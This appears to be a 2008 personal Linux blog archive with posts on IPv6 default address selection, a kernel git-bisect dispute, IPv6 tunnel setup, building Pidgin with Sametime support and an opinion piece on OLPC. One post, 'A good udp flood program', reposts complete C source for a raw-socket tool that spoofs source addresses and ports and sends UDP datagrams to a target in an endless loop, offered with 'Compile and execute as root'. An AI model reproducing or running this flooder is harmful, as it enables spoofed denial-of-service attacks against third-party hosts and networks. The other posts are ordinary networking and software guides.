Monday, April 21, 2008

Default Address Selection Part 1

If you are familiar with ipv6 then you'd be aware that default address selection is a very important concept. It was defined in RFC 3484 . Due to space constraint, i have decided to split this topic into 2 parts. The first part will deal with just introduction and how to use this feature. The second part will explain the kernel/glibc internals involved in this implementation. Hope i will write the second part soon. Its advisable to read the RFC before proceeding. To give a brief idea of what default address selection is, i would like to take an example of a host having multiple ipv6 address and needing to decide which address to be used for communication. For a communication to happen there must be a source address and destination address, but the problem arises when there are multiple source and destination address to select from. IPv6 by default allows a hosts to configure multiple addresses, so there is a need for an algorithm to sort this list. We can broadly classify default address selection into 2 types:

1) Default source address selection
2) Default destination address selection

Say a host A wants to communicate with another host B (can be external/internal system), it needs to know the destination ip of host B. To get the destination ip, a dns query is sent to the configured dns server and the response is taken as destination ip. What if the dns reply has multiple ip's to the same domain name? That is when destination address selection comes into picture. Now that we "somehow" selected the destination ip, we now need to select appropriate source ip. A question that might arise is, why do we need to do that? Cant we just pick the first ip from the list of source ip's and start the communication? The answer is no. This is because IPv6 ip's can be link-local , site-local or global ip. If the destination ip is a global ip and first source ip we select from the list is a link-local ip then obviously the communication cannot happen because of scope mismatch. So we need some intelligent algorithm to select the correct source ip.

Another interesting aspect in destination address selection is to decided which ip to use if the dns query returns an IPv4 as well as IPv6 address. There needs to be some factor to decide this selection. More on all this in Part 2 :-) . So, we have a situation where these addresses are selected based on a certain criteria. By default the criteria's are as per RFC. For most users this should hold good, but what if it needs to be changed? Let's say by default, IPv6 address is given more precedence than IPv4 , but the administrator wants IPv4 as higher precedence. In these cases there needs to be a way to configure source address selection and destination address selection. For this reason RFC defines User Configuration Tables for Source/Destination selection.
Before we go into the configuration tables lets look at a basic fact. The source address selection is implemented in the kernel and destination address selection in glibc. Wonder why? The reason is very simple. Glibc implements dns query api's like gethostbyname and family which triggers the dns query. So it is obvious that this api will get all the replies as well. It makes sense to implement the algorithm in glibc api's.

Lets look at the user configuration tables for both source address selection and destination address selection. There is an interesting article from the glibc maintainer Ulrich Drepper . You can find the article here .

Basic Requirements:

- Linux Kernel 2.6.24 or higher
- iproute2 utilities compiled for 2.6.24 (Check to see if "#ip help" supports 'addrlabel')
Once we have the prerequisites we are good to go.

User Configuration Table For Source Address Selection :
[root@t6018ab-009124035140 ip]# ./ip addrlabel show
prefix ::1/128 label 0
prefix ::/96 label 3
prefix ::ffff:0.0.0.0/96 label 4
prefix 2001::/32 label 6
prefix 2002::/16 label 2
prefix fc00::/7 label 5
prefix ::/0 label 1

This is the default source address user configuration table. The "label" field is a very important aspect of the table. The prefix with lower label value is given higher preference than the one with higher. For example prefix ::1 is given the highest preference when it is prefix label matching.
Lets say we have two prefix of same type
prefix 2003:470:1f00:ffff::4/64 label 8
prefix 2003:470:1f00:ffff::5/64 label 8
Source Address Selection List:
2003:470:1f00:ffff::4
2003:470:1f00:ffff::5
2003:470:1f00:ffff::6

Destination Address
2003:470:1f00:ffff::7

Irrespective of the order of the source address list the ip 2003:470:1f00:ffff::6 will be selected as the correct source candidate since the other two address have a label value of 8 where as 2003:470:1f00:ffff::6 will pass on the rule "prefix ::/0 label 1". Thus the lowest label value will be given higher priority. We can play around with giving different label value to different prefixes. Since source address selection works in conjunction with destination address selection ,we shall look into testing this aspect a little later.

User Configuration Table For Destination Address Selection :

The destination address user configuration table is based on a conf file called gai.conf. This is placed in /etc/. Distros dont place this file here for a certain reason. For more information please read the article by Ulrich Drepper as stated above. In my system the gai.conf file is located in /usr/share/doc/glibc-common-2.6/gai.conf. This file must be coped to /etc/ if you intend to change the default behavior.

A typical gai.conf file



# label
# Add another rule to the RFC 3484 label table. See section 2.1 in
# RFC 3484. The default is:
#
#label ::1/128 0
#label ::/0 1
#label 2002::/16 2
#label ::/96 3
#label ::ffff:0:0/96 4
#label fec0::/10 5
#label fc00::/7 6

#

# precedence
# Add another rule the to RFC 3484 precedence table. See section 2.1
# and 10.3 in RFC 3484. The default is:
#
#precedence ::1/128 50
#precedence ::/0 40
#precedence 2002::/16 30
#precedence ::/96 20
#precedence ::ffff:0:0/96 10
#
# For sites which prefer IPv4 connections change the last line to
#
#precedence ::ffff:0:0/96 100


For destination address selection, two main criteria's to be considered are label and precedence. It must always be remembered that precedence is associated with destination address selection only. Where as label is common for both source and destination address selection. It is for this reason both the tables must remain in sync for correct result.

Testing Destination Address Selection

To test destination selection algorithm we need to write a small program to test it. The best way to test the destination address selection algorithm is to use the examples given in RFC 3484. See section 10.2

Few Requirements:

- Add a entry "multi on" in /etc/host.conf
- Stop the name service caching daemon (service nscd stop)
- Compile the program given below (This will test the result of default address selection)


#include <errno.h>
#include <error.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>

char buf[INET6_ADDRSTRLEN];

int
main(int argc, char *argv[])
{
int err;
struct addrinfo *ai;
struct addrinfo hints;
struct addrinfo *runp;
int sock;

memset(&hints, '\0', sizeof(hints));
hints.ai_protocol = IPPROTO_TCP;

// dummy gethostbyname call so that /etc/host.conf is read
gethostbyname(argv[1]);

err = getaddrinfo(argv[1], "", &hints, &ai);
if (err != 0)
error(EXIT_FAILURE, 0, "getaddrinfo(%d): %s", err,
gai_strerror(err));
runp = ai;
while (runp != NULL) {
getnameinfo(runp->ai_addr, runp->ai_addrlen, buf,
INET6_ADDRSTRLEN, NULL, 0, NI_NUMERICHOST);

printf("family:%2d socktype:%2d protocol:%3d addr:%s(%d)\n",
runp->ai_family, runp->ai_socktype, runp->ai_protocol,
buf, runp->ai_addrlen);
runp = runp->ai_next;
}

freeaddrinfo(ai);
}




Example taken from section 10.2 of the RFC:
Candidate Source Addresses: 2001::2 or fec0::2 or fe80::2
Destination Address List: 2001::1 or fec0::1 or fe80::1
Result: fe80::1 (src fe80::2) then fec0::1 (src fec0::2) then 2001::1 (src 2001::2) (prefer smaller scope)

The destination address selection will be demonstrated using a example from RFC.
The first step is to add multiple dns entry in the dns server. This is big process, so i will use /etc/hosts file to make things simple (This works similar to dns server replies).

So add the following in /etc/hosts
fec0::1 rockon
2001::1 rockon
fe80::1 rockon

Add source addresses to the interface
#ip -6 addr add 2001::2 dev eth0
Similarly for fec0::2 and fe80::2

Next step is to make sure every destination route added in /etc/hosts must have valid route entry. Else the above will not work.
For Eg : fec0::1 is the destination ip. So the algorithm will choose this only if we have a valid route for this ip.
#ip -6 route add fec0::1 dev eth0
Similarly add routes for the other destination candidates.

To execute the program
#./a.out rockon
family:10 socktype: 1 protocol: 6 addr:fe80::1(28)
family:10 socktype: 1 protocol: 6 addr:fec0::1(28)
family:10 socktype: 1 protocol: 6 addr:2001::1(28)

The result shows the order in which destination addresses are sorted. Rest of the examples can be tried out. The destination user configuration table (gai.conf) can be modified to see different results.


Testing Source Address Selection :


Lets look at how to test source address selection functionality. The best way to do so is to follow the test cases specified in RFC 3484. See section 10.1.
For testing source address selection use ping6.

Example taken from section 10.1 of the RFC
Destination: 2001::1
Candidate Source Addresses: 3ffe::1 or fe80::1
Result: 3ffe::1 (prefer appropriate scope)

Configure IPv6 address for interface eth0
#ip -6 addr add 3ffe::1 dev eth0
fe80::1 can be ignored as you will have by default a linklocal address
Add a valid route to the destination ip.
#ip -6 route add 2001::1 dev eth0
#ping6 2001::1

The result will be destination unreachable if 2001::1 doesnt exits. But thats not our issue. The unreachable message will show what source address is selected. This is how one can test the source address selection algorithm. Try out all the different examples given in RFC.Now, by tweaking the user configuration table as mentioned in "User Configuration Table For Source Address Selection" we can modify the behavior.

Hope this little write was useful in understanding how address selection works. In the part 2 article i will explain how the algorithm work.

Update: Thanks to Brandon for pointing out a mistake in the post. Check comments for details.

Thursday, April 17, 2008

Division Between Users And Kernel Hackers On Git Bisect

The source code management tool git has come under scanner again. This time for a different reason. Flame war's are pretty common in linux community. Everytime there is a divided opinion on certain things, it unlocks a fury of mails from the community guru's. What happened this time is no different. It all started when Mark Lord reported a regression in the network stack. Even after a few mail exchanges it was not clear what the cause of problem was. So the netdev guru's asked Mark to "bisect" and arrive at the culprit patch. Mark responded furiously saying that he didnt have time or inclination to do such a thing. He argued that he was only a bug reporter and is not his job to do the bisection. This triggered the whole issue of who does what. It was exchange of heated arguments over mail and few humorous stories to support the claims. No one can forget the "Doctor Patient" story. To sum up the argument, main focus of this whole episode was who is responsible for such regressions. Lets know a little bit of git bisect. Git bisect is used to find a possible cause of the problem. It works on a simple principle, the bug hunter has to know which kernel is working well and which has bug. For example, 2.6.24 is not having any problem but 2.6.25 does, in this case one can use bisect to choose a version somewhere in the middle of these two release. Once done, the bug is to be verified and if found, git bisect has to be run again with the first half release. To make things easy take the same example as above. Bisecting this showed that 2.6.25-rc4 had the issue. So its now clear that the bug was introduced somewhere between 2.6.24 and 2.6.25-rc4. So running git bisect will narrow down even further and this will continue till we narrow down on a particular commit. This will help identify the bug. But the process is time consuming. To lay fact down plain and simple, git bisect need not necessarily narrow down on the correct patch which causes the problem. There is a possibility that problem was created else where and came into light on introducing this "culprit" patch. So this is not a sure shot way to identify the problem. In our issue Mark states that a user identifying a problem must only report it and that where his/her duty ends. It is upto the individual user to do some more homework and help the developers fix the bug. The developers argue that user will be asked to bisect as a last resort. By forcing users to do more work than just reporting bug can cause them to stop reporting bugs which is not a good thing for the community. On the other hand well known kernel hackers like David Miller claims that it is unavoidable sometimes due to unavailability of hardware the user had used in his environment. This requires the user to cooperate in this effort. As one can see, both side do have a strong point to argue. Its difficult to take sides here. This can become a major issue if not resolved quickly. Some suggestions made by Al Viro and James Morris suggest that the subsystem maintainers need to be more careful in committing patches. This can avoid most regression. Another question that was discussed was, how does a user decide which are "real" bugs? What happens in a complex code like the kernel is, bugs can arise due to some faulty hardware which nobody else faces. When that happens it is virtually impossible to fix it. In such cases the bug remains unfixed. It only come to light if multiple users complain of the same problem. The community urged its users to properly test before posting bugs on the mailing list. The story has not concluded yet as there is no clear solution to this problem. It is left to be seen as to how the community will tackle this issue.

Monday, March 24, 2008

A good udp flood program

I found this code on the internet sometime back. Iam not taking the credit of the original author. Its only a another place for me to host the code :)

/*

From B.O.S. 2/05/96

I noticed someone mentioning the echo port. My advice is to disable the
echo service completely. It is often used by hackers to hang a computer.

Try sending a packet from port 7 your ip to port 7 your ip.

The system will bounce the packet back and forth slowing the system
drastically.

A Hacker Program I have seen used to do this is called arnudp.c

*/

/************************************************************************/
/* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk */
/* Sends a single udp datagram with the source/destination address/port */
/* set to whatever you want. Unfortunately Linux 1.2 and SunOS 4.1 */
/* don't seem to have the IP_HDRINCL option, so the source address will */
/* be set to the real address. It does however work ok on SunOS 5.4. */
/* Should compile fine with just an ANSI compiler (such as gcc) under */
/* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra */
/* libraries on the command line: */
/* /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl */
/* I'll state the obvious - this needs to be run as root! Do not use */
/* this program unless you know what you are doing, as it is possible */
/* that you could confuse parts of your network / internet. */
/* (c) 1995 Arny - I accept no responsiblity for anything this does. */
/************************************************************************/
/* I used the source of traceroute as an example while writing this. */
/* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens */
/* for pointing me in the right direction. */
/************************************************************************/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in_systm.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/udp.h>
#include<errno.h>
#include<string.h>
#include<stdlib.h>
#include<netdb.h>
#include<arpa/inet.h>
#include<stdio.h>

struct sockaddr sa;

main(int argc,char **argv)
{
int fd;
int x=1;
struct sockaddr_in *p;
struct hostent *he;
u_char gram[38]=
{
0x45, 0x00, 0x00, 0x26,
0x12, 0x34, 0x00, 0x00,
0xFF, 0x11, 0, 0,
0, 0, 0, 0,
0, 0, 0, 0,

0, 0, 0, 0,
0x00, 0x12, 0x00, 0x00,

'1','2','3','4','5','6','7','8','9','0'
};

if(argc!=5)
{
fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationport\n",*argv);
exit(1);
};

if((he=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"can't resolve source hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+12),4);

if((he=gethostbyname(argv[3]))==NULL)
{
fprintf(stderr,"can't resolve destination hostname\n");
exit(1);
};
bcopy(*(he->h_addr_list),(gram+16),4);

*(u_short*)(gram+20)=htons((u_short)atoi(argv[2]));
*(u_short*)(gram+22)=htons((u_short)atoi(argv[4]));

p=(struct sockaddr_in*)&sa;
p->sin_family=AF_INET;
bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr));
if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)
{
perror("socket");
exit(1);
};

#ifdef IP_HDRINCL
fprintf(stderr,"we have IP_HDRINCL :-)\n\n");
if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0)
{
perror("setsockopt IP_HDRINCL");
exit(1);
};
#else
fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");
#endif
x:
if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr)))== -1)
{
perror("sendto");
exit(1);
};
goto x;
printf("datagram sent without error:");
for(x=0;x<(sizeof(gram)/sizeof(u_char));x++)
{
if(!(x%4)) putchar('\n');
printf("%02x",gram[x]);
};
putchar('\n');

}


Compile and execute as root

Saturday, February 16, 2008

HOWTO: ipv6-ipv6 tunnel and ip4-ipv6 tunnel in linux

I had an requirement to setup an ipv6-ipv6 tunnel and ipv4-ipv6 tunnel and i found that there were very few howto's that were worth it. So i decided to write this blog to get people started with ipv6 tunneling.



Figure 1


-What is a IPv6 Tunnel?
A tunnel is a virtual device used to encapsulate any type of packet into a network aware packet type. That is, i can send any ipv4 type of packets over an ipv6 network. For more information click here.

-Types of IPv6 Tunnels:
-ipv6 - ipv6 Tunnel (ipv6 over ipv6 tunnel)
-ipv4 - ipv6 Tunnel (ipv4 over ipv6 tunnel)

-
Requirements:
- Any distro with kernel version 2.6.22 or above.
Note : The ipv4 over ipv6 feature was introduced only in 2.6.22 kernel. Older kernels wont work.
- iproute2 package. Most distro's package the "ip" command. It is to be noted that at the time of writing this blog, most distro's with ip command didnt support ipv4 over ipv6. If thats is the case please download the latest packages from here. For the developers, download from the git repo here.

-Steps to create a ipv6-ipv6 tunnel:
1) Configure Host A of Private Network A :
The configurations:
eth0: ipv6 address : 3001:470:1f00:fff::189
The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.
Add the ip address to the interface if it is not configured already.
#ip -6 addr add 3001:470:1f00:ffff::189 dev eth0
#ip -6 route add 3001::/4 dev eth0
Add the default route to reach the router.
#ip -6 route add default via 3001:470:1f00:ffff::190 dev eth0

2) Configure Host B of Private Network B :
The configurations:
eth0: ipv6 address : 5001:470:1f00:fff::189
The node "Host A" must be having an ipv6 address. Even an linklocal address is ok.
Add the ip address to the interface if it is not configured already.
#ip -6 addr add 5001:470:1f00:ffff::189 dev eth0
#ip -6 route add 5001::/4 dev eth0
Add the default route to reach the router.
#ip -6 route add default via 5001:470:1f00:ffff::190 dev eth0


3) Configure Router A : (I Assume that your router is a linux box with 2 interfaces)
The configurations:
eth0 : ipv6: 3001:470:1f00:ffff::190
eth1 : ipv6: 2001:470:1f00:ffff::190
mytun : ipv6 : 4001:470:1f00:ffff::190

The router "Router A" must be having two physical interfaces with a ipv6 address each as shown above .
Add the ip address to the interface eth0 if it is not configured already.
#ip -6 addr add 3001:470:1f00:ffff::190 dev eth0
Add the ip address to the interface eth1 if it is not configured already.
#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1
Add the route for each interface.
#ip -6 route add 3001::/4 dev eth0
#ip -6 route add 2001::/4 dev eth1
Now to setup the tunnel, we need to make sure we have the right module installed.
A simple modprobe will get you going.
#modprobe ip6_tunnel
Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown below.

Figure 2

If you can see 'ip6tnl0' as one of the interfaces then you are good to go. Else you need to enable that module and compile the kernel.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network A and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.
#ip -6 tunnel add mytun mode ip6ip6 remote 2001:470:1f00:ffff::189 local 2001:470:1f00:ffff::190 dev eth1
Bring up the link of the interface
#ip link set dev mytun up
Assign an address to our virtual tunnel device.
#ip -6 addr add 4001:470:1f00:ffff::190 dev mytun
The most important step is to redirect all the traffic to our tunnel.
#ip -6 route add 5001::/4 dev mytun
Since we are using a normal linux system as router we have to enable forwarding.
#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

4) Configure Router B : (I Assume that your router is a linux box with 2 interfaces)
The configurations:
eth0 : ipv6: 5001:470:1f00:ffff::190
eth1 : ipv6: 2001:470:1f00:ffff::189
mytun : ipv6 : 6001:470:1f00:ffff::190

The router "Router B" must be having two physical interfaces with a ipv6 address each as
shown above .
Add the ip address to the interface eth0 if it is not configured already.
#ip -6 addr add 5001:470:1f00:ffff::190 dev eth0
Add the ip address to the interface eth1 if it is not configured already.
#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1
Add the route for each interface.
#ip -6 route add 5001::/4 dev eth0
#ip -6 route add 2001::/4 dev eth1
Now to setup the tunnel, we need to make sure we have the right module installed.
A simple modprobe will get you going.
#modprobe ip6_tunnel
Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in
figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.
#ip -6 tunnel add mytun mode ip6ip6 remote 2001:470:1f00:ffff::190 local 2001:470:1f00:ffff::189 dev eth1
Bring up the link of the interface
#ip link set dev mytun up
Assign an address to our virtual tunnel device.
#ip -6 addr add 6001:470:1f00:ffff::190 dev mytun
The most important step is to redirect all the traffic to our tunnel.
#ip -6 route add 3001::/4 dev mytun
Since we are using a normal linux system as router we have to enable forwarding.
#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding

5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.
6)Now you can ping6 across Node A and Node B via the tunnel.

-Steps to create a ipv4-ipv6 tunnel:
These types of tunnels are typically used in scenarios where we have two private ipv4 network and we wish to access then as same LAN network over an ipv6 internet. Although ipv6 has not yet established its self as the preferred protocol for the internet, its only matter of time. As of now we can find use in offices that have a mixture of ipv6 and ipv4 networks. If two ipv4 networks needed to be combined via an ipv6 backbone we can use this type of tunneling.

1) Configure Host A of Private Network A :
The configurations:
eth0: ipv4 address : 172.16.15.2
The node "Host A" must be having an ipv4 address.
Add the ip address to the interface if it is not configured already.
#ip addr add 172.16.15.2 dev eth0
Add default route showing the gateway as "Router A".

#ip route add default via 172.16.15.1 dev eth0

2) Configure Host A of Private Network B :
The configurations:
eth0: ipv4 address : 192.168.1.2
The node "Host B" must be having an ipv4 address.
Add the ip address to the interface if it is not configured already.
#ip addr add 192.168.1.2 dev eth0
Add default route showing the gateway as "Router A".

#ip route add default via 192.168.1.1 dev eth0

3) Configure Router A : (I Assume that your router is a linux box with 2 interfaces)
The configurations:
eth0 : ipv4:172.16.15.1
eth1 : ipv6: 2001:470:1f00:ffff::189
mytun : ipv6 : 4001:470:1f00:ffff::189

The router "Router A" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .
Add the ip address to the interface eth0 if it is not configured already.
#ip addr add 172.16.15.1 dev eth0
Add the ip address to the interface eth1 if it is not configured already.
#ip -6 addr add 2001:470:1f00:ffff::189 dev eth1
Add the route for interface eth1.
#ip -6 route add 2001::/4 dev eth1
Now to setup the tunnel, we need to make sure we have the right module installed.
A simple modprobe will get you going.
#modprobe ip6_tunnel
Incase the above command results in error then check if it is statically compiled. If it is, then
your output for "ifconfig -a" must be as shown in figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.
#ip -6 tunnel add mytun mode ipip6 remote 2001:470:1f00:ffff::190 local 2001:470:1f00:ffff::189 dev eth1
Bring up the link of the interface
#ip link set dev mytun up
Assign an address to our virtual tunnel device.
#ip -6 addr add 4001:470:1f00:ffff::189 dev mytun
The most important step is to redirect all the traffic to our tunnel.
#ip route add 192.168.1.0/24 dev mytun
Since we are using a normal linux system as router we have to enable forwarding.
#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding
#echo "1" > /proc/sys/net/ipv4/ip_forward

4) Configure Router B : (I Assume that your router is a linux box with 2 interfaces)
The configurations:
eth0 : ipv4:192.168.1.1
eth1 : ipv6: 2001:470:1f00:ffff::190
mytun : ipv6 : 4001:470:1f00:ffff::190

The router "Router B" must be having two physical interfaces with a ipv6 address and a ipv4 as shown above .
Add the ip address to the interface eth0 if it is not configured already.
#ip addr add 192.168.1.1 dev eth0
Add the ip address to the interface eth1 if it is not configured already.
#ip -6 addr add 2001:470:1f00:ffff::190 dev eth1
Add the route for interface eth1.
#ip -6 route add 2001::/4 dev eth1
Now to setup the tunnel, we need to make sure we have the right module installed.
A simple modprobe will get you going.
#modprobe ip6_tunnel
Incase the above command results in error then check if it is statically compiled. If it is, then your output for "ifconfig -a" must be as shown in
figure 2.

Now, its time to create the tunnel. We assume that eth0 of this router is connected to private network B and eth1 is connected to "IPv6 network". So we create a tunnel associated with eth1.
#ip -6 tunnel add mytun mode ipip6 remote 2001:470:1f00:ffff::189 local 2001:470:1f00:ffff::190 dev eth1
Bring up the link of the interface
#ip link set dev mytun up
Assign an address to our virtual tunnel device.
#ip -6 addr add 4001:470:1f00:ffff::190 dev mytun
The most important step is to redirect all the traffic to our tunnel.
#ip route add 172.16.15.0/24 dev mytun
Since we are using a normal linux system as router we have to enable forwarding.
#echo “1” > /proc/sys/net/ipv6/conf/all/forwarding
#echo "1" > /proc/sys/net/ipv4/ip_forward

5) Make sure the Firewalls are appropriately configured on the routers and hosts to allow tunneling. If you are in doubt, disable firewall and try.
6)Now you can ping6 across Node A and Node B via the tunnel.

With these two methods we can successfully connect ipv4 networks to ipv6.

Thursday, January 31, 2008

Getting Pidgin To Support SameTime Protocol

I did'nt find many documents on getting pidgin to support Sametime protocol. So this guide is aimed at filling that gap. At the time of writing this document the pidgin version was 2.3.1. This can be downloaded from here. To get Sametime protocol working we need libmeanwhile installed. The library can be downloaded from here. But the best approach would be to install rpms/debs. You can find them in your distro extras. The libraries have dependencies on gnutls and gnutls-devel.
So this has to installed prior to installing libmeanwhile.

One libmeanwhile is set up, its time to install pidgin. Unzip pidgin and run the configure script.
#tar jxvf pidgin-2.3.1.tar.bz2
#cd pidgin-2.3.1/
Run the script
#./configure --prefix=/usr --with-gnutls-includes=/usr/include/gnutls/
--with-gnutls-libs=/usr/lib/
Make sure that sametime protocol is selected as the part of the configure script. You configure output must be as follows:

pidgin 2.3.1

Build GTK+ 2.x UI............. : yes
Build console UI.............. : yes
Build for X11................. : yes

Enable Gestures............... : yes
Protocols to build dynamically : gg irc jabber msnp9 myspace novell oscar qq sametime simple yahoo zephyr
Protocols to link statically.. :

Build with GStreamer support.. : no
Build with D-Bus support...... : yes
D-Bus services directory...... : /usr/share/dbus-1/services
Build with NetworkManager..... : no
SSL Library/Libraries......... : Mozilla NSS
Build with Cyrus SASL support. : no
Use kerberos 4 with zephyr.... : no
Use external libzephyr........ : no
Has you....................... : yes

Use XScreenSaver Extension.... : yes
Use X Session Management...... : yes
Use startup notification...... : yes
Build with GtkSpell support... : yes

Build with plugin support..... : yes
Build with Mono support....... : no
Build with Perl support....... : yes
Build with Tcl support........ : yes
Build with Tk support......... : yes

Print debugging messages...... : no

Pidgin will be installed in /usr/bin.

Now, to compile the program
#make

Then install (needs root privilege).
#sudo make install

Its time to start pidgin.
#pidgin&

Once pidgin starts, you can create your sametime account as shown in the figure.




Next step is to make some advanced configuration as shown in figure.




Note: For the newer Sametime servers, its necessary that client id is shielded. So please tick on "Hide client identity"

After that save the account and close pidgin (Pidgin continues to run in the system tray. Make sure you kill that).
Its been observed that there were some problems with pidgin authenticating to the server.
There is a hack to get around this bug.
Open the file ~/.purple/accounts.xml
Search the file for "prpl-meanwhile"
Under the <settings> of this sametime account add the following line
<setting name='client_major' type='int'>30</setting>
<setting name='client_minor' type='int'>6511</setting>
<setting name='client_id_val' type='int'>4098</setting>

Common Problem Faced:
You might encounter a problem that looks like this "pidgin : symbol lookup error: pidgin : undefined symbol : purple_core_ensure_single_instance"
This problem is commonly due to the fact that you have previous version of pidgin installed. To solve this problem, do a "make uninstall" on the source directory of older pidgin. In case you have deleted the source directory then, remove the pidgin folder in /usr/local/lib/ as well as /usr/local. If its an rpm the do uninstall pidgin using -e option. Then reinstall the newly compiled pidgin by doing "make install".This must solve the problem.

Monday, January 28, 2008

OLPC Project Going Microsoft Way


The new year started with a bad news. Microsoft has got its way as far as OLPC is concerned. They have decided to go on a dual boot system with linux as one of the options. For those who do not know about OLPC, Its a project started to provide a low cost laptops to poor children. The laptop should cost around Rs.15000. It is supposed to have a turbo charger which can be attached to a bicycle and charged. The laptop is expected to have linux as primary OS.

Along came Microsoft to poke its nose. They wanted win xp to run on OLPC. They were generous enough to port the OS themselves and avoid troubles for the OLPC team. If we analyze the need for Microsoft to interfere with the OLPC is simply to avoid third world children from using linux. Microsoft is jealous and simply can't stand the next generation learning something new that might be against Microsoft. The reason given by Microsoft for the move is to benefit "Bill & Melinda Gates Foundation". Iam not going to buy this reason. What is even sadder is the fact that their are many people supporting this move. People blindly believe that Microsoft products are easy to use and faster. Unfortunately its far from the truth. Most of windows user by now realize that they cannot run the OS without an anti-virus software. And its a know fact that most Antivirus software takes up a lot of system resources. How can winxp work well on a low performing hardware such as OLPC with antivirus? So, the bottom line is that even though the winxp might work well on OLPC the additional software load to keep the OS safe is going to pull down the performance. You would'nt want children to be spending most of their time removing virus and formating systems. The alternate OS, linux, comes really handy here. Its free , easily customizable and light weight. So lets hope the Big Microsoft Bully stops this madness and do something constructive by letting OLPC go the original way.